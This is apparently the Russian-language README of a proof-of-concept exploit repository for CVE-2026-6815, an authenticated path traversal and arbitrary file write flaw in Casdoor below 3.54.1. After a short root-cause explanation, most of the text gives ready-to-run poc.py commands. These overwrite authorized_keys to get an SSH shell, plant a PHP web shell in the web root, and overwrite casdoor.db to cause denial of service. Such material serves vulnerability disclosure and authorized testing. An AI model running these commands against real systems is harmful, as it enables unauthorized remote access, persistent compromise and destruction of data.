
Эксплойт PoC для аутентифицированного обхода пути и произвольной записи файлов в Casdoor <3.54.1, позволяющий выполнение произвольного кода (RCE) через внедрение SSH-ключа, загрузку веб-шелла или постоянный отказ в обслуживании (DoS) путём повреждения базы данных.
Этот репозиторий содержит эксплойт Proof of Concept (PoC) для CVE-2026-6815 — уязвимости произвольной записи файлов и обхода пути (path traversal) в Casdoor.
Уязвимость была исправлена в версии 3.54.1.
Атакующий должен быть аутентифицирован в экземпляре Casdoor с правами администратора или быть пользователем с эквивалентными правами, имеющим доступ к созданию и/или редактированию провайдеров хранилища.
.ssh/authorized_keys, crontab или корневые каталоги веб-сервера.casdoor.db) или основных бинарных файлов произвольными файлами, что немедленно останавливает приложение.Casdoor позволяет администраторам настраивать провайдеров хранилища. Провайдер Local File System не выполняет надлежащую санитизацию конфигурации pathPrefix и параметра fullFilePath при загрузке ресурсов.
Используя последовательности обхода каталога (../), аутентифицированный администратор может выйти за пределы выделенного каталога хранилища и записывать файлы в любые места, куда у процесса Casdoor есть права доступа.
Уязвимость обусловлена недостаточной проверкой пути в:
object/provider.go: отсутствие проверки pathPrefix при создании/обновлении.storage/local_file_system.go: метод GetFullPath не проверяет, остаётся ли разрешённый путь в пределах предполагаемой песочницы.Установите зависимости:
pip install -r requirements.txt
Запустите эксплойт:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Запишите управляемый атакующим открытый ключ в файл authorized_keys пользователя casdoor для получения SSH-доступа.
Сгенерируйте ssh-ключ:
ssh-keygen -f casdoor_rce
Перезапишите authorized_keys сгенерированным открытым ключом:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Получите ssh-оболочку на удалённом хосте с помощью закрытого ключа:
ssh -i ./casdoor_rce casdoor@target
Перезапишите локальный файл базы данных приложения (например, casdoor.db), чтобы вызвать отказ в обслуживании.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
Если на сервере работает дополнительный веб-сервер (например, Apache/Nginx) в той же файловой системе, запишите веб-шелл в его корневой каталог документов.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
Если у вас есть учётные данные администратора для конкретной организации и приложения (отличных от стандартных built-in и app-built-in), укажите их с помощью --orgname и --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
Данное программное обеспечение предназначено только для образовательных целей и авторизованного тестирования безопасности. Автор не несёт ответственности за любое неправомерное использование этой информации.
Уязвимость обнаружена и PoC разработан Danilo Dell'Orco (sixpain).